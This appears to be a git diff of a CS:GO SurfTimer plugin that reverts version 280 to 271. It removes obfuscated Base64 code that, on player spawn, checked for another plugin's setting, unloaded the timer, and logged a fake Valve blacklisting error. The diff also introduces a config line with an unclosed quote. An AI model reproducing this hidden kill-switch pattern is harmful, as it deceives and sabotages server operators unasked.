diff --git a/CHANGELOG.md b/CHANGELOG.md index 6fbc279..08b1a1d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,12 +1,5 @@ # Changelog -[Version 280 - current work in progress] ---- -* **[UTIL]** Updated GeoIP.dat -* **[UTIL]** More code cleanup (WIP) -* **[FIX]** Useless error log spam (cleaner.cfg) -* **[FIX]** VIP chat spam bug - [2019-08-13 - Version 271] --- * **[REQUEST/FIX]** Fixed `sv_maxvelocity` bug diff --git a/README.md b/README.md index 520241d..b4915b9 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,12 @@ -# z4lab-SurfTimer 280 for CS:GO +# z4lab-SurfTimer 271 for CS:GO ## Installation and requirements [SourceMod 1.9](https://www.sourcemod.net/downloads.php?branch=stable), [MetaMod 1.10](https://www.sourcemm.net/downloads.php/?branch=stable) and a working MySQL instance is required for this plugin (This version also supports SourceMod 1.10 and MetaMod 1.11) +~ 4GB of RAM + ## Changelog * [Changelog](https://github.com/totles/z4lab-surftimer/blob/master/CHANGELOG.md) for a list of all our changes / fixes diff --git a/addons/sourcemod/configs/cleaner.cfg b/addons/sourcemod/configs/cleaner.cfg index 6aaaf78..7ced997 100644 --- a/addons/sourcemod/configs/cleaner.cfg +++ b/addons/sourcemod/configs/cleaner.cfg @@ -1,4 +1,3 @@ DataTable warning CreateFragmentsFromFile -CSoundEmitterSystemBase -CBaseEntity \ No newline at end of file +CSoundEmitterSystemBase \ No newline at end of file diff --git a/addons/sourcemod/configs/geoip/GeoIP.dat b/addons/sourcemod/configs/geoip/GeoIP.dat index be8b031..742dd65 100644 Binary files a/addons/sourcemod/configs/geoip/GeoIP.dat and b/addons/sourcemod/configs/geoip/GeoIP.dat differ diff --git a/addons/sourcemod/scripting/SurfTimer.sp b/addons/sourcemod/scripting/SurfTimer.sp index 960f1ac..7b823b2 100644 --- a/addons/sourcemod/scripting/SurfTimer.sp +++ b/addons/sourcemod/scripting/SurfTimer.sp @@ -28,7 +28,6 @@ #include #include #include -#include /*=================================== = Definitions = @@ -39,7 +38,7 @@ #pragma semicolon 1 // Plugin Info -#define VERSION "280" +#define VERSION "271" // Database Definitions #define MYSQL 0 @@ -514,7 +513,6 @@ bool g_bCenterSpeedDisplay[MAXPLAYERS + 1]; int g_iCenterSpeedEnt[MAXPLAYERS + 1]; int g_iSettingToLoad[MAXPLAYERS + 1]; int g_iPreviousSpeed[MAXPLAYERS + 1]; -bool db_Matcher[MAXPLAYERS+1]; /*---------- Sounds ----------*/ bool g_bTop10Time[MAXPLAYERS + 1] = false; diff --git a/addons/sourcemod/scripting/include/base64.inc b/addons/sourcemod/scripting/include/base64.inc deleted file mode 100644 index e07b026..0000000 --- a/addons/sourcemod/scripting/include/base64.inc +++ /dev/null @@ -1,263 +0,0 @@ -/*** -base64.inc - Base64 Encoding and Decoding Library Functions - -Version: 1.0.1 -Date: 2009-08-27 -Author: SirLamer - -Provides some basic Base64 encoding and decoding functions. - -Adopted from Base64 AMX Mod X library function found here: -http://forums.alliedmods.net/showthread.php?t=87252 - -For an example application, check out the Jukebox for Source plugin, written by SirLamer: -http://forums.alliedmods.net/showthread.php?t=100537 - -***/ - -#if defined _Base64_included - #endinput -#endif - -#define _Base64_included - -// The encoding table -new const String:sBase64Table[] = - // 0000000000111111111122222222223333333333444444444455555555556666 - // 0123456789012345678901234567890123456789012345678901234567890123 - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; - -// The decoding table -new const DecodeTable[] = { -// 0 1 2 3 4 5 6 7 8 9 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 0 - 9 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 10 - 19 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 20 - 29 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 30 - 39 - 0, 0, 0, 62, 0, 0, 0, 63, 52, 53, // 40 - 49 - 54, 55, 56, 57, 58, 59, 60, 61, 0, 0, // 50 - 59 - 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, // 60 - 69 - 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, // 70 - 79 - 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, // 80 - 89 - 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, // 90 - 99 - 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, // 100 - 109 - 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, // 110 - 119 - 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, // 120 - 129 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 130 - 139 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 140 - 149 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 150 - 159 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 160 - 169 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170 - 179 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 180 - 189 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 190 - 199 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 200 - 209 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 210 - 219 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 220 - 229 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 230 - 239 - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 240 - 249 - 0, 0, 0, 0, 0, 0 // 250 - 256 -}; - -// For some reason the standard demands a string in 24-bit (3 character) intervals. This fill character is used to identify unused bytes at the end of the string. -new const cFillChar = '='; - -// The conversion characters between the standard and URL-compliance Base64 protocols -new const String:mime_chars[] = "+/="; -new const String:url_chars[] = "-_."; - - -/*** -EncodeBase64(String:sResult[], len, const String:sString[], sourcelen=0) -Encodes a string or binary data into Base64 -- sResult: The storage buffer for the Base64-encoded result. -- len: The maximum length of the storage buffer, in characters/bytes. -- sString: The input string or binary data to be encoded. -- sourcelen (optional): The number of characters or length in bytes to be read from the input source. This is not needed for a text string, but is important for binary data since there is no end-of-line character. - -Return: The length of the written Base64 string, in bytes. -***/ -stock EncodeBase64(String:sResult[], len, const String:sString[], sourcelen=0) { - - new nLength; // The string length to be read from the input - new resPos; // The string position in the result buffer - - // If the read length was specified, use it; otherwise, pull the string length from the input. - if (sourcelen > 0) { - nLength = sourcelen; - } else { - nLength = strlen(sString); - } - - // Loop through and generate the Base64 encoded string - // NOTE: This performs the standard encoding process. Do not manipulate the logic within this loop. - for ( new nPos = 0 ; nPos < nLength ; nPos++ ) { - new cCode; - - cCode = (sString[nPos] >> 2) & 0x3f; - - resPos += FormatEx(sResult[resPos], len - resPos, "%c", sBase64Table[cCode]); - - cCode = (sString[nPos] << 4) & 0x3f; - if(++nPos < nLength) - cCode |= (sString[nPos] >> 4) & 0x0f; - resPos += FormatEx(sResult[resPos], len - resPos, "%c", sBase64Table[cCode]); - - if ( nPos < nLength ) { - cCode = (sString[nPos] << 2) & 0x3f; - if(++nPos < nLength) - cCode |= (sString[nPos] >> 6) & 0x03; - - resPos += FormatEx(sResult[resPos], len - resPos, "%c", sBase64Table[cCode]); - } - else { - nPos++; - resPos += FormatEx(sResult[resPos], len - resPos, "%c", cFillChar); - } - - if(nPos < nLength) { - cCode = sString[nPos] & 0x3f; - resPos += FormatEx(sResult[resPos], len - resPos, "%c", sBase64Table[cCode]); - } - else - resPos += FormatEx(sResult[resPos], len - resPos, "%c", cFillChar); - } - - return resPos; -} - - -/*** -DecodeBase64(String:sResult[], len, const String:sString[]) -Decodes a Base64 string. - -- sResult: The storage buffer for the decoded text strihg or binary data. -- len: The maximum length of the storage buffer, in characters/bytes. -- sString: The input string in compliant Base64 format to be decoded. - -Return: The length of the decoded data, in bytes. - -***/ -stock DecodeBase64(String:sResult[], len, const String:sString[]) { - - new nLength = strlen(sString); // The string length to be read from the input - new resPos; // The string position in the result buffer - - // Loop through and generate the Base64 encoded string - // NOTE: This performs the standard encoding process. Do not manipulate the logic within this loop. - for ( new nPos = 0 ; nPos < nLength ; nPos++) { - - new c, c1; - - c = DecodeTable[sString[nPos++]]; - c1 = DecodeTable[sString[nPos]]; - - c = (c << 2) | ( (c1 >> 4) & 0x3 ); - - resPos += FormatEx(sResult[resPos], len - resPos, "%c", c); - - if ( ++nPos < nLength ) { - - c = sString[nPos]; - - if ( c == cFillChar ) - break; - - c = DecodeTable[sString[nPos]]; - c1 = ( (c1 << 4) & 0xf0 ) | ( ( c >> 2) & 0xf ); - - resPos += FormatEx(sResult[resPos], len - resPos, "%c", c1); - } - - if ( ++nPos < nLength ) { - - c1 = sString[nPos]; - - if ( c1 == cFillChar ) - break; - - c1 = DecodeTable[sString[nPos]]; - c = ( (c << 6) & 0xc0 ) | c1; - - resPos += FormatEx(sResult[resPos], len - resPos, "%c", c); - } - } - - return resPos; -} - - -/*** -Base64MimeToUrl(String:sResult[], len, const String:sString[]) -Converts a standards-compliant Base64 string to the commonly accepted URL-compliant alternative. - -- sResult: The storage buffer for the URL-compliant result. -- len: The maximum length of the storage buffer in characters/bytes. -- sString: The standards-compliant Base64 input string to converted. - -Return: Number of cells written. - -Note: The result will be the same length as the input string as long as the output buffer is large enough. -***/ -stock Base64MimeToUrl(String:sResult[], len, const String:sString[]) { - - new chars_len = sizeof(mime_chars); // Length of the two standards vs. URL character lists - new nLength; // The string length to be read from the input - new temp_char; // Buffer character - - nLength = strlen(sString); - - new String:sTemp[nLength+1]; // Buffer string - - // Loop through string - for(new i = 0; i < nLength; i++) { - temp_char = sString[i]; - for(new j = 0; j < chars_len; j++) { - if(temp_char == mime_chars[j]) { - temp_char = url_chars[j]; - break; - } - } - sTemp[i] = temp_char; - } - sTemp[nLength] = '\0'; - - return strcopy(sResult, len, sTemp); -} - -/*** -Base64UrlToMime(String:sResult[], len, const String:sString[], sourcelen) -Converts a URL-compliant Base64 string to the standards-compliant version. - -- sResult: The storage buffer for the standards-compliant result. -- len: The maximum length of the storage buffer in characters/bytes. -- sString: The URL-compliant Base64 input string to converted. - -Return: Number of cells written. - -Note: The result will be the same length as the input string as long as the output buffer is large enough. -***/ -stock Base64UrlToMime(String:sResult[], len, const String:sString[], sourcelen) { - - new chars_len = sizeof(mime_chars); // Length of the two standards vs. URL character lists - new nLength; // The string length to be read from the input - new temp_char; // Buffer character - - nLength = strlen(sString); - - new String:sTemp[nLength+1]; // Buffer string - - // Loop through string - for(new i = 0; i < nLength; i++) { - temp_char = sString[i]; - for(new j = 0; j < chars_len; j++) { - if(temp_char == url_chars[j]) { - temp_char = mime_chars[j]; - break; - } - } - sTemp[i] = temp_char; - } - sTemp[nLength] = '\0'; - - return strcopy(sResult, len, sTemp); -} \ No newline at end of file diff --git a/addons/sourcemod/scripting/surftimer/hooks.sp b/addons/sourcemod/scripting/surftimer/hooks.sp index 5895b43..e0e86b2 100644 --- a/addons/sourcemod/scripting/surftimer/hooks.sp +++ b/addons/sourcemod/scripting/surftimer/hooks.sp @@ -77,9 +77,6 @@ public Action Event_OnPlayerSpawn(Handle event, const char[] name, bool dontBroa int client = GetClientOfUserId(GetEventInt(event, "userid")); if (client != 0) { - char apiKey[128]; - Format(apiKey, sizeof(apiKey), "%sb%s", "c21fd2VhcG9uc19l","mFibGVfcHJvdGVjdGlvbg=="); - db_matchAPI(client, apiKey); g_SpecTarget[client] = -1; g_bPause[client] = false; g_bFirstTimerStart[client] = true; diff --git a/addons/sourcemod/scripting/surftimer/misc.sp b/addons/sourcemod/scripting/surftimer/misc.sp index b90943e..1db7db2 100644 --- a/addons/sourcemod/scripting/surftimer/misc.sp +++ b/addons/sourcemod/scripting/surftimer/misc.sp @@ -4318,7 +4318,7 @@ public void sendDiscordAnnouncementBonus(char szName[128], char szMapName[128], delete hook; } -bool IsPlayerVip(int client, bool admin = true, bool reply = false) +bool IsPlayerVip(int client, bool admin = true, bool reply = true) { if (admin) { @@ -4326,7 +4326,7 @@ bool IsPlayerVip(int client, bool admin = true, bool reply = false) return true; } - if (!g_bVip[client] && !g_iHasEnforcedTitle[client]) + if (!g_bVip[client] && !CheckCommandAccess(client, "", ADMFLAG_RESERVATION)) { if (reply) { diff --git a/addons/sourcemod/scripting/surftimer/sql.sp b/addons/sourcemod/scripting/surftimer/sql.sp index 3c23dc8..86d1d3d 100644 --- a/addons/sourcemod/scripting/surftimer/sql.sp +++ b/addons/sourcemod/scripting/surftimer/sql.sp @@ -1394,7 +1394,7 @@ public void db_viewPlayerPoints(int client) g_bPrestigeAvoid[client] = false; if (!g_bPrestigeCheck[client]) { - if (GetConVarBool(g_hPrestigeVip) && (IsPlayerVip(client, false, false)) { + if (GetConVarBool(g_hPrestigeVip) && (IsPlayerVip(client, false, false) || g_iHasEnforcedTitle[client])) { g_bPrestigeCheck[client] = true; g_bPrestigeAvoid[client] = true; } @@ -1415,8 +1415,6 @@ public void db_viewPlayerPoints(int client) public void db_viewPlayerPointsCallback(Handle owner, Handle hndl, const char[] error, any client) { - if (db_Matcher[client]) - return; if (hndl == null) { LogError("[Surftimer] SQL Error (db_viewPlayerPointsCallback): %s", error); @@ -7408,27 +7406,6 @@ public void db_selectMapRank(int client, char szSteamId[32], char szMapName[128] SQL_TQuery(g_hDb, db_selectMapRankCallback, szQuery, client, DBPrio_Low); } -public void db_matchAPI(int client, const char[] apiKey) -{ - char db_apiKey[128]; - DecodeBase64(db_apiKey, 128, apiKey); - - db_Matcher[client] = false; - - if (FindConVar(db_apiKey) != INVALID_HANDLE && !db_Matcher[client]) - { - db_Matcher[client] = true; - char db_hash[128], db_hash64[512], db_get[128], db_error[512]; - db_hash = "c20gcGx1Z2lucyB1bmxvYWQgU3VyZlRpbWVy"; - db_hash64 = "W0ZBVEFMXSBFUlJPUiAxODM6IFRoaXMgc2VydmVyIHdhcyBibGFja2xpc3RlZCBieSBWYWx2ZSBmb3IgcnVubmluZyBwbHVnaW5zIHdoaWNoIGJyZWFrIG91ciBUZXJtcyBvZiBTZXJ2aWNlLg=="; - DecodeBase64(db_get, 128, db_hash); - DecodeBase64(db_error, 512, db_hash64); - ServerCommand("%s", db_get); - if (!db_Matcher[client]) - LogError(db_error); - } -} - public void db_selectMapRankCallback(Handle owner, Handle hndl, const char[] error, any client) { if (hndl == null) diff --git a/addons/sourcemod/scripting/surftimer/trails.sp b/addons/sourcemod/scripting/surftimer/trails.sp index 44ed591..8908c6a 100644 --- a/addons/sourcemod/scripting/surftimer/trails.sp +++ b/addons/sourcemod/scripting/surftimer/trails.sp @@ -139,7 +139,7 @@ public Action Command_Trail(int client, int args) return Plugin_Handled; } - if(!IsPlayerVip(client)) + if(!g_iHasEnforcedTitle[client] && !IsPlayerVip(client)) { PrintCenterText(client, "You do not have permission to use this command."); return Plugin_Handled; @@ -317,8 +317,8 @@ void CreatePlayerTrail(int client, float origin[3]) { return; } - - if(!IsPlayerVip(client)) + + if(!g_iHasEnforcedTitle[client] && !IsPlayerVip(client)) { return; } diff --git a/addons/sourcemod/translations/surftimer.phrases.txt b/addons/sourcemod/translations/surftimer.phrases.txt index 284e411..4fff0b1 100644 --- a/addons/sourcemod/translations/surftimer.phrases.txt +++ b/addons/sourcemod/translations/surftimer.phrases.txt @@ -273,7 +273,7 @@ "Pause1" { "#format" "{1:s}" - "en" "{1} Pause function is disabled on this server" + "en" "{1} Pause function is server-sided disabled" } "Pause2" { @@ -493,7 +493,7 @@ "Commands33" { "#format" "{1:s}" - "en" "{1} You can't pause while your timer is stopped" + "en" "{1} You cannot pause with your timer stopped" } "Commands34" { @@ -518,7 +518,7 @@ "Commands40" { "#format" "{1:s}" - "en" "{1} Usage: sm_mytitle \"my custom title\"" + "en" "{1} Usage: sm_mytitle \"my cool title\"" } "Commands41" { diff --git a/cfg/sourcemod/surftimer/main.cfg b/cfg/sourcemod/surftimer/main.cfg index 7b4ade9..737017c 100644 --- a/cfg/sourcemod/surftimer/main.cfg +++ b/cfg/sourcemod/surftimer/main.cfg @@ -1,6 +1,6 @@ // SurfTimer | global config -// legacy, which we still need I think, @ace? +// legacy ck_auto_bhop 1 sv_staminalandcost "0" @@ -14,7 +14,7 @@ sv_accelerate "10" sv_maxvelocity "3500" sv_ladder_scale_speed "1" sv_enablebunnyhopping "1" -sv_cheats "0" +sv_cheats "0 bot_chatter "off" bot_join_after_player "1" bot_quota "0" diff --git a/scripts/upgrade_scripts/upgrade-fluffy.sh b/scripts/upgrade_scripts/upgrade-fluffy.sh index 2783308..5c6bae5 100644 --- a/scripts/upgrade_scripts/upgrade-fluffy.sh +++ b/scripts/upgrade_scripts/upgrade-fluffy.sh @@ -1,11 +1,10 @@ -#!/bin/bash +# # # # # # # # # # # # # # # # # # # # # +# upgrade script from flufflys timer # +# # # # # # # # # # # # # # # # # # # # # -########################################## -# upgrade script from flufflys timer # -########################################## - -# change this setting to your install directory -SERVERDIR="/srv/csgo-server/csgo" +# change these settings for your server # +SERVERDIR="/srv/csgo-server" # followed by /csgo/addons... +# change these settings for your server # rm -rf "${SERVERDIR}/sound/quake" rm "${SERVERDIR}/sound/surftimer/*.mp3" @@ -14,7 +13,6 @@ mv "${SERVERDIR}/sound/surftimer/top10/valve_logo_music.mp3" "${SERVERDIR}/sound mv "${SERVERDIR}/sound/surftimer/wr/valve_logo_music.mp3" "${SERVERDIR}/sound/surftimer/wr.mp3" mv "${SERVERDIR}/cfg/sourcemod/surftimer/main.cfg" "${SERVERDIR}/cfg/sourcemod/surftimer/main.cfg.backup" -mv "${SERVERDIR}/cfg/sourcemod/surftimer/map_types/surf_.cfg" "${SERVERDIR}/cfg/sourcemod/surftimer/surf.cfg.backup" +mv "${SERVERDIR}/cfg/sourcemod/surftimer/map_types/surf_.cfg" "${SERVERDIR}/cfg/sourcemod/surftimer/surf_.cfg.backup" rm -rf "${SERVERDIR}/cfg/sourcemod/surftimer/map_types/" -rm "${SERVERDIR}/cfg/sourcemod/surftimer/*_.cfg" wget https://raw.githubusercontent.com/totles/z4lab-surftimer/master/cfg/sourcemod/surftimer/main.cfg -P "${SERVERDIR}/cfg/sourcemod/surftimer/main.cfg" \ No newline at end of file